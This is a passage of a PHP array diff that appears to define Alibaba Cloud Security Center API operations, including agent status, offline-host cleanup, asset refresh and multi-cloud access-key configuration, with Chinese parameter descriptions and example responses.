'云助手全局唯一ID。', + 'type' => 'string', + 'example' => 'mi-hz034jn***yxhc0', + ], + 'AliyunMonitorId' => [ + 'title' => '云监控全局唯一Id', + 'description' => '云监控全局唯一ID。', + 'type' => 'string', + 'example' => '5d5ef6be-54ff-11ed-82cf-8f01475e****', + ], + 'AssistInstallStatus' => [ + 'description' => '云助手安装状态。'."\n" + .'- **0**：安装中'."\n" + .'- **1**：安装成功'."\n" + .'- **2**：安装失败'."\n" + .'- **3**：安装超时', + 'type' => 'integer', + 'format' => 'int32', + 'enumValueTitles' => [], + 'example' => '1', + ], + 'MonitorInstallStatus' => [ + 'description' => '云监控安装状态。'."\n" + .'- **0**：失败'."\n" + .'- **1**：成功', + 'type' => 'integer', + 'format' => 'int32', + 'enumValueTitles' => [], + 'example' => '1', + ], + 'AssistInstallResult' => [ + 'description' => '云助手安装执行结果。'."\n" + .'- **0**：SUCCESS'."\n" + .'- **1**：MISSING_PARAM'."\n" + .'- **2**：UNKNOWN_SYSTEM'."\n" + .'- **3**：DOWNLOAD_FAILED'."\n" + .'- **4**：INSTALL_FAILED', + 'type' => 'integer', + 'format' => 'int32', + 'enumValueTitles' => [], + 'example' => '0', + ], + 'MonitorInstallResult' => [ + 'description' => '云监控安装执行结果。'."\n" + .'- **0**：失败'."\n" + .'- **1**：成功', + 'type' => 'integer', + 'format' => 'int32', + 'enumValueTitles' => [], + 'example' => '1', + ], + 'Uuid' => [ + 'title' => '机器uuid', + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '87f1724d-075e-48d3-95fd-78c2dd36****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8EF3ACC2-9400-5B64-B72D-4A1D35113750\\",\\n \\"SasPmAgentList\\": [\\n {\\n \\"AliyunAssistId\\": \\"mi-hz034jn***yxhc0\\",\\n \\"AliyunMonitorId\\": \\"5d5ef6be-54ff-11ed-82cf-8f01475e****\\",\\n \\"AssistInstallStatus\\": 1,\\n \\"MonitorInstallStatus\\": 1,\\n \\"AssistInstallResult\\": 0,\\n \\"MonitorInstallResult\\": 1,\\n \\"Uuid\\": \\"87f1724d-075e-48d3-95fd-78c2dd36****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询运维插件状态列表', + ], + 'ListAssetCleanConfig' => [ + 'summary' => '查询云外主机的清理配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', + ], + 'Data' => [ + 'description' => '清理主机配置列表。', + 'type' => 'array', + 'items' => [ + 'description' => '清理主机配置。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '清理的主机类型，取值：'."\n" + .'- **1**：云外主机', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CleanDays' => [ + 'description' => '云外主机自动清理离线天数，取值范围：1~30的整数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'Status' => [ + 'description' => '配置是否生效。取值：'."\n" + .'- **0**：无效'."\n" + .'- **1**：有效', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'Count' => [ + 'description' => '清理配置数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\",\\n \\"Data\\": [\\n {\\n \\"Type\\": 1,\\n \\"CleanDays\\": 7,\\n \\"Status\\": 1\\n }\\n ],\\n \\"Count\\": 1\\n}","type":"json"}]', + 'title' => '查询云外主机的清理配置', + ], + 'ModifyAssetCleanConfig' => [ + 'summary' => '修改离线主机清理配置，仅支持云外主机。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '142958', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AssetCleanConfigs', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产清理配置的列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '资产清理配置的详细信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '清理的主机类型，取值：'."\n" + ."\n" + .'· **1**：云外主机', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'CleanDays' => [ + 'description' => '云外主机自动清理的离线天数，取值：1~30的整数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '7', + ], + 'Status' => [ + 'description' => '是否开启离线云外主机自动清理。取值：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '952776BD-5546-59FC-8AF3-B54EBAD57***', + ], + 'Data' => [ + 'description' => '处理结果。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"952776BD-5546-59FC-8AF3-B54EBAD57***\\",\\n \\"Data\\": true\\n}","type":"json"}]', + 'title' => '修改离线主机清理配置', + ], + 'ListAssetRefreshTaskConfig' => [ + 'summary' => '获取资产刷新配置。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心实例地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'RefreshConfigType', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。取值：'."\n" + .'- **0**：主机刷新任务'."\n" + .'- **1**：云产品刷新任务'."\n" + .'- **2**：AK定时校验任务', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'TargetId', + 'in' => 'query', + 'schema' => [ + 'description' => '查询AK定时校验任务时，指定的AK记录的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2295', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'AssetRefreshConfig' => [ + 'description' => '资产刷新配置。', + 'type' => 'array', + 'items' => [ + 'description' => '资产刷新配置。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **3**：腾讯云'."\n" + .'- **4**：华为云'."\n" + .'- **7**：亚马逊云', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'SchedulePeriod' => [ + 'description' => '同步周期。取值：'."\n" + ."\n" + .' - **60**：60分钟'."\n" + .' - **180**：3小时'."\n" + .' - **360**：6小时'."\n" + .' - **720**：12小时'."\n" + .' - **1440**：1天'."\n" + .' - **10080**：7天', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '360', + ], + 'Status' => [ + 'description' => '配置开启状态。取值：'."\n" + .' - **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RefreshConfigType' => [ + 'description' => '配置类型。取值：'."\n" + .'- **0**：主机刷新任务'."\n" + .'- **1**：云产品刷新任务'."\n" + .'- **2**：AK定时校验任务', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AssetRefreshConfig\\": [\\n {\\n \\"Vendor\\": 3,\\n \\"SchedulePeriod\\": 360,\\n \\"Status\\": 1,\\n \\"RefreshConfigType\\": 1\\n }\\n ],\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\"\\n}","type":"json"}]', + 'title' => '获取资产刷新配置', + ], + 'ChangeAssetRefreshTaskConfig' => [ + 'summary' => '修改资产刷新自定义周期配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '161846', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AssetRefreshConfigs', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产刷新配置列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **3**：腾讯云'."\n" + .'- **4**：华为云'."\n" + .'- **7**：亚马逊云', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + 'SchedulePeriod' => [ + 'description' => '同步周期。取值：'."\n" + ."\n" + .' - **60**：60分钟'."\n" + .' - **180**：3小时'."\n" + .' - **360**：6小时'."\n" + .' - **720**：12小时'."\n" + .' - **1440**：1天'."\n" + .' - **10080**：7天', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '360', + ], + 'Status' => [ + 'description' => '配置开启状态。取值：'."\n" + .' - **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'RefreshConfigType' => [ + 'description' => '配置类型。取值：'."\n" + .'- **0**：主机刷新任务'."\n" + .'- **1**：云产品刷新任务'."\n" + .'- **2**：AK定时校验任务', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + 'TargetId' => [ + 'description' => '配置AK定时校验任务时，指定的AK记录的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2308', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心实例地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + 'Data' => [ + 'description' => '修改是否成功。取值：'."\n" + .' - **true**：修改成功'."\n" + .' - **false**：修改失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => 'Invalid parameter value.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"Data\\": true,\\n \\"Message\\": \\"successful\\"\\n}","type":"json"}]', + 'title' => '修改资产刷新自定义周期配置', + ], + 'ListCloudVendorRegions' => [ + 'summary' => '获取本站点下他云的同步Region配置。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '135132', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **Tencent**、**HUAWEICLOUD**、**Azure**、**AWS**：其它云资产。', + 'type' => 'string', + 'required' => false, + 'example' => 'Tencent', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '云厂商支持的Region信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云厂商支持的Region信息。', + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Area' => [ + 'title' => 'region所属的区域', + 'description' => 'Region所属的区域，和Vendor类型有关。取值：'."\n" + .'- **Vendor** = Tencent的取值：'."\n" + .'- **cn**：中国'."\n" + .'- **southeast_asia**：亚太东南'."\n" + .'- **northeast_asia**：亚太东北'."\n" + .'- **southern_asia**：亚太南部'."\n" + .'- **north_America**：北美地区'."\n" + .'- **south_America**：南美地区'."\n" + .'- **western_America**：美国西部'."\n" + .'- **eastern_America**：美国东部'."\n" + .'- **european**：欧洲地区'."\n" + ."\n" + .'- **Vendor** = HUAWEICLOUD的取值：'."\n" + .'- **cn**：中国'."\n" + .'- **africa**：非洲'."\n" + .'- **latin_america**：拉美'."\n" + .'- **asia**：亚太'."\n" + ."\n" + .'- **Vendor** = Azure的取值：'."\n" + .'- **middle_east**：中东'."\n" + .'- **south_america**：南美洲'."\n" + .'- **canada**：加拿大'."\n" + .'- **asia_pacific**：亚太'."\n" + .'- **europe**：欧洲'."\n" + .'- **africa**：非洲'."\n" + .'- **us**：美国'."\n" + .'- **other**：其他'."\n" + ."\n" + .'- **Vendor** = AWS的取值：'."\n" + .'- **cn**：中国'."\n" + .'- **us**：美国'."\n" + .'- **eu**：欧洲'."\n" + .'- **asia**：亚太地区'."\n" + .'- **south_america**：南美洲'."\n" + .'- **me**：中东'."\n" + .'- **ca**：加拿大'."\n" + .'- **af**：非洲', + 'type' => 'string', + 'example' => 'cn', + ], + 'Disable' => [ + 'title' => '1：禁用', + 'description' => '该region是否被其他站点设置为同步站点。取值：'."\n" + .'- **0**：未被其他站点配置'."\n" + .'- **1**：已被其他站点配置', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Selected' => [ + 'title' => '1：已选', + 'description' => '该Region已被本站点配置为同步Region。取值：'."\n" + .'- **0**：未被配置'."\n" + .'- **1**：已被配置', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + 'Count' => [ + 'description' => '数据的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Success' => [ + 'description' => '调用状态。取值：'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '调用返回码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'C87EC6AD-4590-5546-9DF6-B8956579D***', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => '-100', + 'errorMessage' => 'The service is unavailable, please try again later.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Area\\": \\"cn\\",\\n \\"Disable\\": 1,\\n \\"Selected\\": 0\\n }\\n ],\\n \\"Count\\": 2,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C87EC6AD-4590-5546-9DF6-B8956579D***\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取站点下他云的同步Region同步配置列表', + ], + 'AddCloudVendorAccountAK' => [ + 'summary' => '新增多云资产配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91898', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **Azure**：Azure'."\n" + .'- **AWS**：AWS'."\n" + .'- **VOLCENGINE**：火山云'."\n" + .'- **google**：谷歌云'."\n" + .'- **CHAITIN**：长亭科技'."\n" + .'- **FORTINET**：飞塔'."\n" + .'- **THREATBOOK**：微步在线', + 'type' => 'string', + 'required' => true, + 'example' => 'AWS', + ], + ], + [ + 'name' => 'AkType', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK类型。取值：'."\n" + ."\n" + .'- **primary**：主账号'."\n" + .'- **sub**：子账号'."\n" + .'- **ctdr**：Agentic SOC'."\n" + .'>当厂商是**CHAITIN**、**FORTINET**、**THREATBOOK**时该参数取值为ctdr>', + 'type' => 'string', + 'required' => true, + 'example' => 'primary', + ], + ], + [ + 'name' => 'SecretId', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK参数Id。取值：'."\n" + ."\n" + .'1.AkType取值primary:'."\n" + .'- **Tencent**：主账号AccessKeyId'."\n" + .'- **HUAWEICLOUD**：主账号AccessKeyId'."\n" + .'- **Azure**：ClientId'."\n" + .'- **AWS**：主账号AccessKeyId'."\n" + .'- **VOLCENGINE**：主账号AccessKeyId'."\n" + ."\n" + .'2.AkType取值sub:'."\n" + .'- **Tencent**：子账号AccessKeyId'."\n" + .'- **HUAWEICLOUD**：子账号AccessKeyId'."\n" + .'- **Azure**：ClientId'."\n" + .'- **AWS**：子账号AccessKeyId'."\n" + .'- **VOLCENGINE**：子账号AccessKeyId'."\n" + .'- **google**：private_key_id'."\n" + ."\n" + .'>AkType取值为**primary**则该值为他云的主账号SecretID。AkType取值为**sub**则该值为他云子账号Access Key ID。**Azure**不做区分，该值为认证信息的**appId**。谷歌云是通过服务账号接入的，AkType默认取值sub， 该值取自JSON格式服务密钥文件的private_key_id属性值。', + 'type' => 'string', + 'required' => true, + 'example' => '45GLRV4SOT0YFB****', + ], + ], + [ + 'name' => 'SecretKey', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK参数Secret。取值：'."\n" + ."\n" + .'1.AkType取值primary:'."\n" + .'- **Tencent**：主账号SecretAccessKey'."\n" + .'- **HUAWEICLOUD**：主账号SecretAccessKey'."\n" + .'- **Azure**：ClientSecret'."\n" + .'- **AWS**：主账号SecretAccessKey'."\n" + ."\n" + .'2.AkType取值sub:'."\n" + .'- **Tencent**：子账号SecretAccessKey'."\n" + .'- **HUAWEICLOUD**：子账号SecretAccessKey'."\n" + .'- **Azure**：ClientSecret'."\n" + .'- **AWS**：子账号SecretAccessKey'."\n" + .'- **google**：private_key'."\n" + .'>AkType取值为**primary**则该值为他云的主账号Secret Access Key。AkType取值为**sub**则该值为他云子账号Secret Access Key。**Azure**不做区分，该值为认证信息的**password**。谷歌云是通过服务账号接入的，AkType默认取值sub， 该值取自JSON格式服务密钥文件的private_key属性值。', + 'type' => 'string', + 'required' => true, + 'example' => 'AE6SLd****', + ], + ], + [ + 'name' => 'Regions', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'AK信息验证所使用的Region列表，仅对Vendor为AWS有效。'."\n" + .'>调用[ListCloudVendorRegions](~~ListCloudVendorRegions~~)接口可以获取该参数。', + 'type' => 'array', + 'items' => [ + 'description' => 'AK信息验证所使用的Region。', + 'type' => 'string', + 'required' => false, + 'example' => 'ap-south-1', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'SubscriptionIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '订阅ID列表。'."\n" + ."\n" + .'> 该参数已无效。', + 'type' => 'array', + 'items' => [ + 'description' => '订阅ID。'."\n" + .'> 该参数已无效。', + 'type' => 'string', + 'required' => false, + 'example' => '9b41e7ae-fcbf-4983-aa32-6fb2e*****', + ], + 'required' => false, + 'maxItems' => 1, + ], + ], + [ + 'name' => 'TenantId', + 'in' => 'query', + 'schema' => [ + 'description' => '租户ID，仅对Vendor为Azure有效。', + 'type' => 'string', + 'required' => false, + 'example' => '95304a97-339b-4de5-9a7d-cdbffaf****', + ], + ], + [ + 'name' => 'Domain', + 'in' => 'query', + 'schema' => [ + 'description' => '接入账号域。取值：'."\n" + .'- **china**：中国'."\n" + .'- **global**：全球'."\n" + .'- **europe**：华为欧洲站'."\n" + ."\n" + .'> 该参数仅对**Vendor**为**HUAWEICLOUD**、**Azure**、**AWS**、**VOLCENGINE**有效，且为必传。', + 'type' => 'string', + 'required' => false, + 'example' => 'global', + ], + ], + [ + 'name' => 'AuthModules', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'AK关联模块列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'AK关联模块Code。取值：'."\n" + .'- **HOST**：主机'."\n" + .'- **CSPM**：云产品配置检查'."\n" + .'- **SIEM**：CloudSiem'."\n" + .'- **TRIAL**：日志审计', + 'type' => 'string', + 'required' => false, + 'example' => 'HOST', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'VendorAuthAlias', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => 'AK账号名称。'."\n" + .'>用于标识三方主机资产的所属账号信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'ExtendInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '扩展信息。'."\n" + ."\n" + .'> 用于记录不同厂商扩展信息。'."\n" + .'>谷歌云是通过服务账号接入的，ExtendInfo存储的是json格式服务密钥文件，排除了private_key_id和zprivate_key字段。文件中包含字段：type，project_id，client_email，client_id，auth_uri，token_uri，auth_provider_x509_cert_url，client_x509_cert_url，universe_domain。', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"product\\":\\"webFirewall\\",\\"remark\\":\\"remark\\"}', + ], + ], + [ + 'name' => 'CtdrCloudUserId', + 'in' => 'query', + 'schema' => [ + 'description' => '账号ID。'."\n" + ."\n" + .'> 接入的云厂商的账号ID，当权限说明包含威胁分析与响应时必填。', + 'type' => 'string', + 'required' => false, + 'example' => 'azure_demo_1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'A60DA4EC-7CD8-577D-AD73-***', + ], + 'Data' => [ + 'description' => '当前添加AK信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => 'AK状态。取值：'."\n" + .'- **0**：开启'."\n" + .'- **1**：未开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AuthId' => [ + 'description' => 'AK唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2158', + ], + 'AkType' => [ + 'description' => 'AK类型。取值：'."\n" + ."\n" + .'- **primary**：主账号'."\n" + .'- **sub**：子账号', + 'type' => 'string', + 'example' => 'sub', + ], + 'SecretId' => [ + 'description' => 'AK参数ID。', + 'type' => 'string', + 'example' => 'AE6SLd****', + ], + 'ServiceStatus' => [ + 'description' => 'AK使用状态。取值：'."\n" + .'- **0**：使用中'."\n" + .'- **1**：使用异常'."\n" + .'- **2**：有效性验证中'."\n" + .'- **3**：有效性验证超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **Azure**：Azure'."\n" + .'- **AWS**：AWS'."\n" + .'- **VOLCENGINE**：火山云'."\n" + .'- **google**：谷歌云'."\n" + .'- **CHAITIN**：长亭科技'."\n" + .'- **FORTINET**：飞塔'."\n" + .'- **THREATBOOK**：微步在线', + 'type' => 'string', + 'example' => 'Tencent', + ], + 'Message' => [ + 'description' => 'AK异常信息。', + 'type' => 'string', + 'example' => 'The IAM user is forbidden in the currently selected region', + ], + 'AuthModules' => [ + 'description' => 'AK关联模块列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'ModuleDisp' => [ + 'description' => '模块显示名称。', + 'type' => 'string', + 'example' => 'Host Assets', + ], + 'ModuleStatement' => [ + 'description' => '模块关联权限说明。', + 'type' => 'string', + 'example' => 'Read permission of the cloud server or virtual machine', + ], + 'Module' => [ + 'description' => '模块Code。取值：'."\n" + .'- **HOST**：主机'."\n" + .'- **CSPM**：云产品配置检查'."\n" + .'- **SIEM**：CloudSiem'."\n" + .'- **TRIAL**：日志审计', + 'type' => 'string', + 'example' => 'HOST', + ], + 'ModuleAssetType' => [ + 'description' => '模块关联云资产说明。', + 'type' => 'string', + 'example' => 'Cloud server or virtual machine', + ], + 'ModuleServiceStatus' => [ + 'description' => '模块状态。取值：'."\n" + .'- **0**：使用中'."\n" + .'- **1**：使用异常'."\n" + .'- **2**：有效性验证中'."\n" + .'- **3**：有效性验证超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Message' => [ + 'description' => '模块异常信息。', + 'type' => 'string', + 'example' => 'ak_domain_error', + ], + ], + ], + ], + 'VendorAuthAlias' => [ + 'description' => 'AK账号名称。'."\n" + .'>用于标识三方主机资产的所属账号信息。', + 'type' => 'string', + 'example' => 'test', + ], + 'CtdrCloudUserId' => [ + 'description' => '账号ID。'."\n" + ."\n" + .'> 接入的云厂商的账号ID。', + 'type' => 'string', + 'example' => 'azure_demo_1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'CreateAkError', + 'errorMessage' => 'Failed to create an AK.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A60DA4EC-7CD8-577D-AD73-***\\",\\n \\"Data\\": {\\n \\"Status\\": 0,\\n \\"AuthId\\": 2158,\\n 